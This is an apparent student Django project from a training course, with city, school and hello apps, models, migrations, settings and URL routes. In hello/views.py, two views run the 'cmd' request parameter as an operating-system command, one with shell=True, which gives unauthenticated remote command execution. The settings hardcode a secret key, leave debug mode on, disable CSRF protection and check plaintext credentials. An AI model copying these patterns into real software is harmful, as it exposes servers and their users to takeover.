"sha256:a53da3b43d7a5c229b5e3ca2892ef982c46b7923b51e98f0db49956531211c4f" 147 | ], 148 | "index": "pypi", 149 | "version": "==0.7.2" 150 | }, 151 | "prompt-toolkit": { 152 | "hashes": [ 153 | "sha256:11adf3389a996a6d45cc277580d0d53e8a5afd281d0c9ec71b28e6f121463780", 154 | "sha256:2519ad1d8038fd5fc8e770362237ad0364d16a7650fb5724af6997ed5515e3c1", 155 | "sha256:977c6583ae813a37dc1c2e1b715892461fcbdaa57f6fc62f33a528c4886c8f55" 156 | ], 157 | "version": "==2.0.9" 158 | }, 159 | "ptyprocess": { 160 | "hashes": [ 161 | "sha256:923f299cc5ad920c68f2bc0bc98b75b9f838b93b599941a6b63ddbc2476394c0", 162 | "sha256:d7cc528d76e76342423ca640335bd3633420dc1366f258cb31d05e865ef5ca1f" 163 | ], 164 | "version": "==0.6.0" 165 | }, 166 | "pygments": { 167 | "hashes": [ 168 | "sha256:31cba6ffb739f099a85e243eff8cb717089fdd3c7300767d9fc34cb8e1b065f5", 169 | "sha256:5ad302949b3c98dd73f8d9fcdc7e9cb592f120e32a18e23efd7f3dc51194472b" 170 | ], 171 | "version": "==2.4.0" 172 | }, 173 | "pymysql": { 174 | "hashes": [ 175 | "sha256:3943fbbbc1e902f41daf7f9165519f140c4451c179380677e6a848587042561a", 176 | "sha256:d8c059dcd81dedb85a9f034d5e22dcb4442c0b201908bede99e306d65ea7c8e7" 177 | ], 178 | "index": "pypi", 179 | "version": "==0.9.3" 180 | }, 181 | "pytz": { 182 | "hashes": [ 183 | "sha256:303879e36b721603cc54604edcac9d20401bdbe31e1e4fdee5b9f98d5d31dfda", 184 | "sha256:d747dd3d23d77ef44c6a3526e274af6efeb0a6f1afd5a69ba4d5be4098c8e141" 185 | ], 186 | "index": "pypi", 187 | "version": "==2019.1" 188 | }, 189 | "six": { 190 | "hashes": [ 191 | "sha256:3350809f0555b11f552448330d0b52d5f24c91a322ea4a15ef22629740f3761c", 192 | "sha256:d16a0141ec1a18405cd4ce8b4613101da75da0e9a7aec5bdd4fa804d0e0eba73" 193 | ], 194 | "version": "==1.12.0" 195 | }, 196 | "traitlets": { 197 | "hashes": [ 198 | "sha256:9c4bd2d267b7153df9152698efb1050a5d84982d3384a37b2c1f7723ba3e7835", 199 | "sha256:c6cb5e6f57c5a9bdaa40fa71ce7b4af30298fbab9ece9815b5d995ab6217c7d9" 200 | ], 201 | "version": "==4.3.2" 202 | }, 203 | "wcwidth": { 204 | "hashes": [ 205 | "sha256:3df37372226d6e63e1b1e1eda15c594bca98a22d33a23832a90998faa96bc65e", 206 | "sha256:f4ebe71925af7b40a864553f761ed559b43544f8f71746c2d756c7fe788ade7c" 207 | ], 208 | "version": "==0.1.7" 209 | } 210 | }, 211 | "develop": {} 212 | } 213 | -------------------------------------------------------------------------------- /django/ops/README.md: -------------------------------------------------------------------------------- 1 | # ops 2 | 3 | 4 | - Install Package 5 | ```bash 6 | $ pipenv lock 7 | $ pipenv install --ignore-pipfile 8 | ``` 9 | 10 | - Run server 11 | ```bash 12 | $ pipenv run python manage.py runserver 0.0.0.0:8000 13 | ``` 14 | 15 | - Models 16 | ```bash 17 | 主表 和 子表 18 | 19 | 外键字段 是写在 子表中的 20 | ``` -------------------------------------------------------------------------------- /django/ops/city/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhengyscn/python-doc/c2980cd8f5aa704623989e0c6725b962b2c09e48/django/ops/city/__init__.py -------------------------------------------------------------------------------- /django/ops/city/admin.py: -------------------------------------------------------------------------------- 1 | from django.contrib import admin 2 | 3 | # Register your models here. 4 | from .models import CityInfo 5 | 6 | class CityInfoAdmin(admin.ModelAdmin): 7 | list_display = ['city', 'intro', 'pid'] 8 | 9 | 10 | admin.site.register(CityInfo, CityInfoAdmin) 11 | -------------------------------------------------------------------------------- /django/ops/city/apps.py: -------------------------------------------------------------------------------- 1 | from django.apps import AppConfig 2 | 3 | 4 | class CityConfig(AppConfig): 5 | name = 'city' 6 | -------------------------------------------------------------------------------- /django/ops/city/migrations/0001_initial.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # Generated by Django 1.11 on 2019-06-20 08:09 3 | from __future__ import unicode_literals 4 | 5 | from django.db import migrations, models 6 | import django.db.models.deletion 7 | 8 | 9 | class Migration(migrations.Migration): 10 | 11 | initial = True 12 | 13 | dependencies = [ 14 | ] 15 | 16 | operations = [ 17 | migrations.CreateModel( 18 | name='CityInfo', 19 | fields=[ 20 | ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), 21 | ('city', models.CharField(blank=True, max_length=100, null=True, verbose_name='地址')), 22 | ('intro', models.TextField(blank=True, null=True, verbose_name='介绍')), 23 | ('pid', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to='city.CityInfo', verbose_name='自关联')), 24 | ], 25 | options={ 26 | 'verbose_name': '城市', 27 | 'verbose_name_plural': '城市', 28 | 'db_table': 'city_info', 29 | }, 30 | ), 31 | ] 32 | -------------------------------------------------------------------------------- /django/ops/city/migrations/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhengyscn/python-doc/c2980cd8f5aa704623989e0c6725b962b2c09e48/django/ops/city/migrations/__init__.py -------------------------------------------------------------------------------- /django/ops/city/models.py: -------------------------------------------------------------------------------- 1 | from django.db import models 2 | 3 | # Create your models here. 4 | 5 | class CityInfo(models.Model): 6 | 7 | city = models.CharField(max_length=100, null=True, blank=True, verbose_name='地址') 8 | intro = models.TextField(null=True, blank=True, verbose_name='介绍') 9 | pid = models.ForeignKey('self', null=True, blank=True, verbose_name='自关联') 10 | 11 | def __str__(self): 12 | return self.city 13 | 14 | class Meta: 15 | db_table = 'city_info' 16 | verbose_name = '城市' 17 | verbose_name_plural = verbose_name 18 | -------------------------------------------------------------------------------- /django/ops/city/tests.py: -------------------------------------------------------------------------------- 1 | from django.test import TestCase 2 | 3 | # Create your tests here. 4 | -------------------------------------------------------------------------------- /django/ops/city/views.py: -------------------------------------------------------------------------------- 1 | from django.shortcuts import render 2 | 3 | # Create your views here. 4 | -------------------------------------------------------------------------------- /django/ops/hello/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhengyscn/python-doc/c2980cd8f5aa704623989e0c6725b962b2c09e48/django/ops/hello/__init__.py -------------------------------------------------------------------------------- /django/ops/hello/admin.py: -------------------------------------------------------------------------------- 1 | from django.contrib import admin 2 | 3 | # Register your models here. 4 | -------------------------------------------------------------------------------- /django/ops/hello/apps.py: -------------------------------------------------------------------------------- 1 | from django.apps import AppConfig 2 | 3 | 4 | class HelloConfig(AppConfig): 5 | name = 'hello' 6 | -------------------------------------------------------------------------------- /django/ops/hello/migrations/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhengyscn/python-doc/c2980cd8f5aa704623989e0c6725b962b2c09e48/django/ops/hello/migrations/__init__.py -------------------------------------------------------------------------------- /django/ops/hello/models.py: -------------------------------------------------------------------------------- 1 | from django.db import models 2 | 3 | # Create your models here. 4 | -------------------------------------------------------------------------------- /django/ops/hello/tests.py: -------------------------------------------------------------------------------- 1 | from django.test import TestCase 2 | 3 | # Create your tests here. 4 | -------------------------------------------------------------------------------- /django/ops/hello/views.py: -------------------------------------------------------------------------------- 1 | from django.shortcuts import render 2 | 3 | # Create your views here. 4 | import json 5 | import shlex 6 | import subprocess 7 | 8 | from django.http import HttpResponse, JsonResponse 9 | from django.contrib.auth.models import User 10 | 11 | from django.contrib.auth import login, logout, authenticate 12 | 13 | 14 | def hello(request): 15 | print("request: ", request) 16 | print("dir(request): ", dir(request)) 17 | return HttpResponse("hello world.") 18 | 19 | 20 | def helloJson(request): 21 | dic = { 22 | 'name' : '51reboot', 23 | 'address' : 'beijing', 24 | } 25 | content = json.dump(dic) 26 | return HttpResponse(content, content_type="application/json") 27 | # return JsonResponse(dic) 28 | 29 | 30 | def helloDic(request): 31 | dic = list(range(10)) 32 | return JsonResponse(dic, safe=False) 33 | 34 | 35 | def CommandView(request): 36 | cmd = request.GET.get('cmd', None) 37 | if cmd: 38 | p = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) 39 | stdout, stderr = p.communicate() 40 | return HttpResponse(stdout, content_type="text/plain") 41 | else: 42 | return HttpResponse("cmd args is required.") 43 | 44 | 45 | def loginCheckView(request): 46 | username = request.GET.get('username', None) 47 | password = request.GET.get('password', None) 48 | if not username or not password: 49 | return HttpResponse("username or password args is required.") 50 | 51 | if username == '51reboot' and password == '123456': 52 | return HttpResponse('Login ok') 53 | else: 54 | return HttpResponse('Valid failed.') 55 | 56 | 57 | def LoginPageView(request): 58 | htmlStr = ''' 59 | 60 | 61 |
62 | Username:
63 | Password:
64 | 65 |
66 | 重置url 67 | 68 | 69 | ''' 70 | return HttpResponse(htmlStr) 71 | 72 | 73 | def SumInputViewV1(request): 74 | ''' 75 | /?n1=2&n2=3 76 | 77 | 78 | /?n1=2&n2=3&n1=100 79 | < QueryDict: {'n1': ['2', '100'], 'n2': ['3']} > 80 | ''' 81 | if request.method == "GET": 82 | print(request.GET) 83 | ''' 84 | request.GET['n1'] = 200 # 验证是否可修改字典 85 | 86 | data = request.GET.copy() 87 | data['n1'] = 200 88 | ''' 89 | x = request.GET.get("x") 90 | print("x: {}".format(x)) 91 | 92 | x1 = request.GET.getlist("x") 93 | print("x1: {}".format(x1)) 94 | 95 | y = request.GET.get("y") 96 | print("y: {}".format(y)) 97 | 98 | s = int(x) + int(y) 99 | result = "{} + {} = {}".format(x, y, s) 100 | return HttpResponse(result) 101 | 102 | elif request.method == "POST": 103 | print(request.POST) 104 | return HttpResponse("hello world.") 105 | 106 | def CommandViewV1(request): 107 | cmdArgs = request.GET.get('cmd') 108 | cmd = shlex.split(cmdArgs) 109 | 110 | # p = subprocess.Popen(["df"], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) 111 | p = subprocess.Popen(cmd, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) 112 | stdout, stderr = p.communicate() 113 | if stderr: 114 | return HttpResponse(stderr) 115 | else: 116 | return HttpResponse(stdout) 117 | 118 | def SumInputViewV2(request): 119 | pass 120 | 121 | def CommandViewV2(request): 122 | pass 123 | 124 | def LoginTemplateView(request): 125 | return render(request, "login.html", context={"username" : "monkey"}) 126 | 127 | def cus_user_login(request): 128 | ''' 129 | 1. 获取用户提交的用户名和密码 130 | 2. 根据用户名从数据库里取出这条记录 131 | 3. 不存在 132 | 4. 存在, 判断密码是否一致. 133 | ''' 134 | if request.method == 'GET': 135 | return render(request, "login.html") 136 | elif request.method == 'POST': 137 | username = request.POST.get("username") 138 | password = request.POST.get("password") 139 | 140 | try: 141 | obj = User.objects.get(username=username) 142 | except Exception as e: 143 | print(e.args) 144 | return e.args, False 145 | 146 | check_ok = obj.check_password(password) 147 | if check_ok: # 验证成功 148 | pass 149 | else: # 验证失败 150 | pass 151 | return JsonResponse() 152 | 153 | def user_login(request): 154 | if request.method == 'GET': 155 | return render(request, "login.html") 156 | elif request.method == 'POST': 157 | username = request.POST.get("username") 158 | password = request.POST.get("password") 159 | user = authenticate(username=username, password=password) 160 | if user: 161 | login(request, user) 162 | print("login succ.") 163 | return HttpResponse("login succ") 164 | else: 165 | pass 166 | print("login fail.") 167 | return HttpResponse("login fail") 168 | else: 169 | return HttpResponse("request method invalid.") 170 | 171 | -------------------------------------------------------------------------------- /django/ops/manage.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | import os 3 | import sys 4 | 5 | if __name__ == "__main__": 6 | os.environ.setdefault("DJANGO_SETTINGS_MODULE", "ops.settings") 7 | try: 8 | from django.core.management import execute_from_command_line 9 | except ImportError: 10 | # The above import may fail for some other reason. Ensure that the 11 | # issue is really that Django is missing to avoid masking other 12 | # exceptions on Python 2. 13 | try: 14 | import django 15 | except ImportError: 16 | raise ImportError( 17 | "Couldn't import Django. Are you sure it's installed and " 18 | "available on your PYTHONPATH environment variable? Did you " 19 | "forget to activate a virtual environment?" 20 | ) 21 | raise 22 | execute_from_command_line(sys.argv) 23 | -------------------------------------------------------------------------------- /django/ops/ops/__init__.py: -------------------------------------------------------------------------------- 1 | import pymysql 2 | pymysql.install_as_MySQLdb() -------------------------------------------------------------------------------- /django/ops/ops/settings.py: -------------------------------------------------------------------------------- 1 | """ 2 | Django settings for ops project. 3 | 4 | Generated by 'django-admin startproject' using Django 1.11. 5 | 6 | For more information on this file, see 7 | https://docs.djangoproject.com/en/1.11/topics/settings/ 8 | 9 | For the full list of settings and their values, see 10 | https://docs.djangoproject.com/en/1.11/ref/settings/ 11 | """ 12 | 13 | import os 14 | 15 | # Build paths inside the project like this: os.path.join(BASE_DIR, ...) 16 | BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) 17 | 18 | 19 | # Quick-start development settings - unsuitable for production 20 | # See https://docs.djangoproject.com/en/1.11/howto/deployment/checklist/ 21 | 22 | # SECURITY WARNING: keep the secret key used in production secret! 23 | SECRET_KEY = '-8o6l-vizm54p5yu%itf-+75&^@3q8d4&*qx%_v*kb2hf)qiv=' 24 | 25 | # SECURITY WARNING: don't run with debug turned on in production! 26 | DEBUG = True 27 | 28 | ALLOWED_HOSTS = ['*'] 29 | 30 | 31 | # Application definition 32 | 33 | INSTALLED_APPS = [ 34 | 'django.contrib.admin', 35 | 'django.contrib.auth', 36 | 'django.contrib.contenttypes', 37 | 'django.contrib.sessions', 38 | 'django.contrib.messages', 39 | 'django.contrib.staticfiles', 40 | 41 | # application 42 | 'hello', 43 | 'users', 44 | 'dj_pagination', 45 | 'school.apps.SchoolConfig', 46 | 'city.apps.CityConfig', 47 | ] 48 | 49 | MIDDLEWARE = [ 50 | 'django.middleware.security.SecurityMiddleware', 51 | 'django.contrib.sessions.middleware.SessionMiddleware', 52 | 'django.middleware.common.CommonMiddleware', 53 | # 'django.middleware.csrf.CsrfViewMiddleware', 54 | 'django.contrib.auth.middleware.AuthenticationMiddleware', 55 | 'django.contrib.messages.middleware.MessageMiddleware', 56 | 'django.middleware.clickjacking.XFrameOptionsMiddleware', 57 | # new add 58 | 'dj_pagination.middleware.PaginationMiddleware', 59 | ] 60 | 61 | ROOT_URLCONF = 'ops.urls' 62 | 63 | TEMPLATES = [ 64 | { 65 | 'BACKEND': 'django.template.backends.django.DjangoTemplates', 66 | 'DIRS': [ 67 | os.path.join(BASE_DIR, "templates") 68 | ], 69 | 'APP_DIRS': True, 70 | 'OPTIONS': { 71 | 'context_processors': [ 72 | 'django.template.context_processors.debug', 73 | 'django.template.context_processors.request', 74 | 'django.contrib.auth.context_processors.auth', 75 | 'django.contrib.messages.context_processors.messages', 76 | ], 77 | }, 78 | }, 79 | ] 80 | 81 | WSGI_APPLICATION = 'ops.wsgi.application' 82 | 83 | 84 | # Database 85 | # https://docs.djangoproject.com/en/1.11/ref/settings/#databases 86 | ''' 87 | DATABASES = { 88 | 'default': { 89 | 'ENGINE': 'django.db.backends.sqlite3', 90 | 'NAME': os.path.join(BASE_DIR, 'db.sqlite3'), 91 | } 92 | } 93 | ''' 94 | DATABASES = { 95 | 'default': { 96 | 'ENGINE': 'django.db.backends.mysql', 97 | 'NAME': 'ops', 98 | 'USER': '', 99 | 'PASSWORD': '123456', 100 | 'HOST': '127.0.0.1', 101 | 'PORT': '3306', 102 | }, 103 | } 104 | 105 | # Password validation 106 | # https://docs.djangoproject.com/en/1.11/ref/settings/#auth-password-validators 107 | 108 | AUTH_PASSWORD_VALIDATORS = [ 109 | { 110 | 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator', 111 | }, 112 | { 113 | 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', 114 | }, 115 | { 116 | 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator', 117 | }, 118 | { 119 | 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator', 120 | }, 121 | ] 122 | 123 | 124 | # Internationalization 125 | # https://docs.djangoproject.com/en/1.11/topics/i18n/ 126 | 127 | LANGUAGE_CODE = 'en-us' 128 | 129 | TIME_ZONE = 'UTC' 130 | 131 | USE_I18N = True 132 | 133 | USE_L10N = True 134 | 135 | USE_TZ = True 136 | 137 | 138 | # Static files (CSS, JavaScript, Images) 139 | # https://docs.djangoproject.com/en/1.11/howto/static-files/ 140 | 141 | STATIC_URL = '/static/' 142 | 143 | 144 | #######Append########## 145 | 146 | USE_L10N = False 147 | DATE_FORMAT = 'Y-m-d' 148 | DATETIME_FORMAT = 'Y-m-d H:i:s' 149 | 150 | 151 | # APPEND_SLASH=False 152 | 153 | TEMPLATE_CONTEXT_PROCESSORS =( 154 | "django.core.context_processors.auth", 155 | "django.core.context_processors.debug", 156 | "django.core.context_processors.i18n", 157 | "django.core.context_processors.media", 158 | "django.core.context_processors.request" 159 | ) 160 | -------------------------------------------------------------------------------- /django/ops/ops/urls.py: -------------------------------------------------------------------------------- 1 | """ops URL Configuration 2 | 3 | The `urlpatterns` list routes URLs to views. For more information please see: 4 | https://docs.djangoproject.com/en/1.11/topics/http/urls/ 5 | Examples: 6 | Function views 7 | 1. Add an import: from my_app import views 8 | 2. Add a URL to urlpatterns: url(r'^$', views.home, name='home') 9 | Class-based views 10 | 1. Add an import: from other_app.views import Home 11 | 2. Add a URL to urlpatterns: url(r'^$', Home.as_view(), name='home') 12 | Including another URLconf 13 | 1. Import the include() function: from django.conf.urls import url, include 14 | 2. Add a URL to urlpatterns: url(r'^blog/', include('blog.urls')) 15 | """ 16 | from django.conf.urls import url 17 | from django.contrib import admin 18 | 19 | from hello.views import hello, SumInputViewV1, CommandViewV1 20 | from hello.views import SumInputViewV2, CommandViewV2 21 | from hello.views import LoginPageView, loginCheckView 22 | from users.views import UserLoginView, UserLogoutView, UserListView, UserCreateView, UserDeleteView, UserUpdateView 23 | 24 | 25 | from school.views import SchoolView 26 | 27 | 28 | urlpatterns = [ 29 | url(r'^admin/', admin.site.urls), 30 | 31 | # hello world 32 | url(r'^hello/$', hello), 33 | 34 | # url 求和 35 | url(r'^hello/v1/input_sum/$', SumInputViewV1), 36 | url(r'^hello/v1/command/$', CommandViewV1), 37 | 38 | # 页面操作 39 | url(r'^hello/v2/input_sum/$', SumInputViewV2), 40 | url(r'^hello/v2/command/$', CommandViewV2), 41 | 42 | # login page 43 | url(r'^hello/login/$', LoginPageView), 44 | url(r'^hello/login_check/$', loginCheckView), 45 | 46 | # login 47 | url(r'^user/login/', UserLoginView), 48 | url(r'^user/logout/', UserLogoutView), 49 | 50 | # add delete udpate list 51 | url(r'^user/add/', UserCreateView), 52 | url(r'^user/delete/(?P\d+)', UserDeleteView), 53 | url(r'^user/update/(?P\d+)', UserUpdateView), 54 | url(r'^users/list/', UserListView), 55 | 56 | # school 57 | url(r'^school/', SchoolView), 58 | ] 59 | -------------------------------------------------------------------------------- /django/ops/ops/wsgi.py: -------------------------------------------------------------------------------- 1 | """ 2 | WSGI config for ops project. 3 | 4 | It exposes the WSGI callable as a module-level variable named ``application``. 5 | 6 | For more information on this file, see 7 | https://docs.djangoproject.com/en/1.11/howto/deployment/wsgi/ 8 | """ 9 | 10 | import os 11 | 12 | from django.core.wsgi import get_wsgi_application 13 | 14 | os.environ.setdefault("DJANGO_SETTINGS_MODULE", "ops.settings") 15 | 16 | application = get_wsgi_application() 17 | -------------------------------------------------------------------------------- /django/ops/school/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhengyscn/python-doc/c2980cd8f5aa704623989e0c6725b962b2c09e48/django/ops/school/__init__.py -------------------------------------------------------------------------------- /django/ops/school/admin.py: -------------------------------------------------------------------------------- 1 | from django.contrib import admin 2 | 3 | # Register your models here. 4 | 5 | # Register your models here. 6 | from .models import Teacher, Course, Student, TeacherAssistant 7 | 8 | class TeacherAdmin(admin.ModelAdmin): 9 | 10 | # listdisplay设置要显示在列表中的字段(id字段是Django模型的默认主键) 11 | list_display = ['username', 'intro', 'create_at', 'update_at'] 12 | 13 | # 搜索字段 14 | search_fields = ['username',] 15 | 16 | # 过滤字段 17 | list_filter = ['create_at', ] 18 | 19 | # ordering设置默认排序字段,负号表示降序排序 20 | ordering = ['-update_at', 'create_at'] 21 | 22 | # list_per_page设置每页显示多少条记录,默认是100条 23 | list_per_page = 10 24 | 25 | 26 | 27 | class CourseAdmin(admin.ModelAdmin): 28 | list_display = ['title', 'type', 'create_at', 'update_at'] 29 | 30 | 31 | class StudentAdmin(admin.ModelAdmin): 32 | list_display = ['username', 'age', 'sex', 'update_at'] 33 | 34 | class TeacherAssistantAdmin(admin.ModelAdmin): 35 | list_display = ['username', 'love', 'update_at'] 36 | 37 | 38 | admin.site.register(Teacher, TeacherAdmin) 39 | admin.site.register(Course, CourseAdmin) 40 | admin.site.register(Student, StudentAdmin) 41 | admin.site.register(TeacherAssistant, TeacherAssistantAdmin) 42 | 43 | -------------------------------------------------------------------------------- /django/ops/school/apps.py: -------------------------------------------------------------------------------- 1 | from django.apps import AppConfig 2 | 3 | 4 | class SchoolConfig(AppConfig): 5 | name = 'school' 6 | verbose_name = u"学校" 7 | 8 | -------------------------------------------------------------------------------- /django/ops/school/migrations/0001_initial.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # Generated by Django 1.11 on 2019-06-20 04:42 3 | from __future__ import unicode_literals 4 | 5 | from django.db import migrations, models 6 | 7 | 8 | class Migration(migrations.Migration): 9 | 10 | initial = True 11 | 12 | dependencies = [ 13 | ] 14 | 15 | operations = [ 16 | migrations.CreateModel( 17 | name='Course', 18 | fields=[ 19 | ('title', models.CharField(db_index=True, max_length=100, primary_key=True, serialize=False, verbose_name='课程名')), 20 | ('type', models.CharField(choices=[(1, 'Python训练营'), (2, 'Python自动化'), (3, 'Go实战班'), (4, 'Docker+K8s')], max_length=1, verbose_name='课程类型')), 21 | ('create_at', models.DateTimeField(auto_now_add=True, verbose_name='创建时间')), 22 | ('update_at', models.DateTimeField(auto_now=True, verbose_name='更新时间')), 23 | ], 24 | options={ 25 | 'verbose_name': '课表表', 26 | 'verbose_name_plural': '课表表', 27 | 'db_table': 'course', 28 | }, 29 | ), 30 | migrations.CreateModel( 31 | name='Student', 32 | fields=[ 33 | ('username', models.CharField(db_index=True, max_length=100, primary_key=True, serialize=False, verbose_name='课程名')), 34 | ('age', models.IntegerField(verbose_name='年龄')), 35 | ('sex', models.CharField(choices=[(1, '男'), (2, '女')], max_length=1, verbose_name='性别')), 36 | ('create_at', models.DateTimeField(auto_now_add=True, verbose_name='创建时间')), 37 | ('update_at', models.DateTimeField(auto_now=True, verbose_name='更新时间')), 38 | ], 39 | options={ 40 | 'verbose_name': '学生表', 41 | 'verbose_name_plural': '学生表', 42 | 'db_table': 'student', 43 | }, 44 | ), 45 | migrations.CreateModel( 46 | name='Teacher', 47 | fields=[ 48 | ('username', models.CharField(db_index=True, max_length=32, primary_key=True, serialize=False, verbose_name='用户名')), 49 | ('introduction', models.TextField(default='这个人很懒,什么都没留下.', verbose_name='简介')), 50 | ('create_at', models.DateTimeField(auto_now_add=True, verbose_name='创建时间')), 51 | ('update_at', models.DateTimeField(auto_now=True, verbose_name='更新时间')), 52 | ], 53 | options={ 54 | 'verbose_name': '讲师信息表', 55 | 'verbose_name_plural': '讲师信息表', 56 | 'db_table': 'teacher', 57 | }, 58 | ), 59 | migrations.CreateModel( 60 | name='TeacherAssistant', 61 | fields=[ 62 | ('username', models.CharField(db_index=True, max_length=32, primary_key=True, serialize=False, verbose_name='用户名')), 63 | ('love', models.TextField(blank=True, null=True, verbose_name='爱好')), 64 | ('create_at', models.DateTimeField(auto_now_add=True, verbose_name='创建时间')), 65 | ('update_at', models.DateTimeField(auto_now=True, verbose_name='更新时间')), 66 | ], 67 | options={ 68 | 'verbose_name': '助教信息表', 69 | 'verbose_name_plural': '助教信息表', 70 | 'db_table': 'teacher_assistant', 71 | }, 72 | ), 73 | ] 74 | -------------------------------------------------------------------------------- /django/ops/school/migrations/0002_auto_20190620_0448.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # Generated by Django 1.11 on 2019-06-20 04:48 3 | from __future__ import unicode_literals 4 | 5 | from django.db import migrations 6 | 7 | 8 | class Migration(migrations.Migration): 9 | 10 | dependencies = [ 11 | ('school', '0001_initial'), 12 | ] 13 | 14 | operations = [ 15 | migrations.RenameField( 16 | model_name='teacher', 17 | old_name='introduction', 18 | new_name='intro', 19 | ), 20 | ] 21 | -------------------------------------------------------------------------------- /django/ops/school/migrations/0003_auto_20190620_0507.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # Generated by Django 1.11 on 2019-06-20 05:07 3 | from __future__ import unicode_literals 4 | 5 | from django.db import migrations, models 6 | import django.db.models.deletion 7 | 8 | 9 | class Migration(migrations.Migration): 10 | 11 | dependencies = [ 12 | ('school', '0002_auto_20190620_0448'), 13 | ] 14 | 15 | operations = [ 16 | migrations.AddField( 17 | model_name='course', 18 | name='teacher', 19 | field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to='school.Teacher', verbose_name='课程讲师'), 20 | ), 21 | migrations.AddField( 22 | model_name='student', 23 | name='course', 24 | field=models.ManyToManyField(to='school.Course', verbose_name='别名'), 25 | ), 26 | migrations.AddField( 27 | model_name='teacherassistant', 28 | name='teacher', 29 | field=models.OneToOneField(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, to='school.Teacher', verbose_name='讲师'), 30 | ), 31 | ] 32 | -------------------------------------------------------------------------------- /django/ops/school/migrations/0004_auto_20190620_0515.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # Generated by Django 1.11 on 2019-06-20 05:15 3 | from __future__ import unicode_literals 4 | 5 | from django.db import migrations, models 6 | 7 | 8 | class Migration(migrations.Migration): 9 | 10 | dependencies = [ 11 | ('school', '0003_auto_20190620_0507'), 12 | ] 13 | 14 | operations = [ 15 | migrations.AlterField( 16 | model_name='course', 17 | name='type', 18 | field=models.IntegerField(choices=[(1, 'Python训练营'), (2, 'Python自动化'), (3, 'Go实战班'), (4, 'Docker+K8s')], max_length=1, verbose_name='课程类型'), 19 | ), 20 | ] 21 | -------------------------------------------------------------------------------- /django/ops/school/migrations/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhengyscn/python-doc/c2980cd8f5aa704623989e0c6725b962b2c09e48/django/ops/school/migrations/__init__.py -------------------------------------------------------------------------------- /django/ops/school/models.py: -------------------------------------------------------------------------------- 1 | from django.db import models 2 | 3 | # Create your models here. 4 | 5 | 6 | class Teacher(models.Model): 7 | ''' 8 | 讲师信息表 9 | ''' 10 | username = models.CharField(max_length=32, primary_key=True, db_index=True, verbose_name="用户名") 11 | intro = models.TextField(default="这个人很懒,什么都没留下.", verbose_name='简介') 12 | create_at = models.DateTimeField(auto_now_add=True, verbose_name="创建时间") 13 | update_at = models.DateTimeField(auto_now=True, verbose_name="更新时间") 14 | 15 | class Meta: 16 | db_table = 'teacher' 17 | verbose_name = "讲师信息表" 18 | verbose_name_plural = verbose_name 19 | 20 | def __str__(self): 21 | return self.username 22 | 23 | 24 | class Course(models.Model): 25 | ''' 26 | 课表表 27 | 课表 和 讲师 是 一对多 28 | ''' 29 | TYPE_CHOICE = ( 30 | (1, 'Python训练营'), 31 | (2, 'Python自动化'), 32 | (3, 'Go实战班'), 33 | (4, 'Docker+K8s'), 34 | ) 35 | title = models.CharField(max_length=100, primary_key=True, db_index=True, verbose_name="课程名") 36 | 37 | # 删除级联 38 | teacher = models.ForeignKey(Teacher, null=True, blank=True, on_delete=models.CASCADE, verbose_name='课程讲师') 39 | type = models.IntegerField(choices=TYPE_CHOICE, max_length=1, verbose_name='课程类型') 40 | create_at = models.DateTimeField(auto_now_add=True, verbose_name="创建时间") 41 | update_at = models.DateTimeField(auto_now=True, verbose_name="更新时间") 42 | 43 | class Meta: 44 | db_table = 'course' 45 | verbose_name = "课表表" 46 | verbose_name_plural = verbose_name 47 | 48 | def __str__(self): 49 | # return '{} - {}'.format(self.get_type_display(), self.title) 50 | return f'{self.get_type_display()} - {self.title}' 51 | 52 | 53 | class Student(models.Model): 54 | ''' 55 | 学生表 56 | 学生 和 课程 是 多 对多 57 | ''' 58 | SEX_CHOICE = ( 59 | (1, '男'), 60 | (2, '女'), 61 | ) 62 | username = models.CharField(max_length=100, primary_key=True, db_index=True, verbose_name="课程名") 63 | age = models.IntegerField(verbose_name="年龄") 64 | sex = models.CharField(choices=SEX_CHOICE, max_length=1, verbose_name='性别') 65 | course = models.ManyToManyField(Course, verbose_name="别名") 66 | create_at = models.DateTimeField(auto_now_add=True, verbose_name="创建时间") 67 | update_at = models.DateTimeField(auto_now=True, verbose_name="更新时间") 68 | 69 | class Meta: 70 | db_table = 'student' 71 | verbose_name = "学生表" 72 | verbose_name_plural = verbose_name 73 | 74 | def __str__(self): 75 | return self.username 76 | 77 | 78 | 79 | class TeacherAssistant(models.Model): 80 | ''' 81 | 助教信息表 82 | ''' 83 | SEX_CHOICE = ( 84 | (1, '男'), 85 | (2, '女'), 86 | ) 87 | username = models.CharField(max_length=32, primary_key=True, db_index=True, verbose_name="用户名") 88 | love = models.TextField(null=True, blank=True, verbose_name="爱好") 89 | teacher = models.OneToOneField(Teacher, null=True, blank=True, on_delete=models.SET_NULL, verbose_name='讲师') 90 | create_at = models.DateTimeField(auto_now_add=True, verbose_name="创建时间") 91 | update_at = models.DateTimeField(auto_now=True, verbose_name="更新时间") 92 | 93 | class Meta: 94 | db_table = "teacher_assistant" 95 | verbose_name = 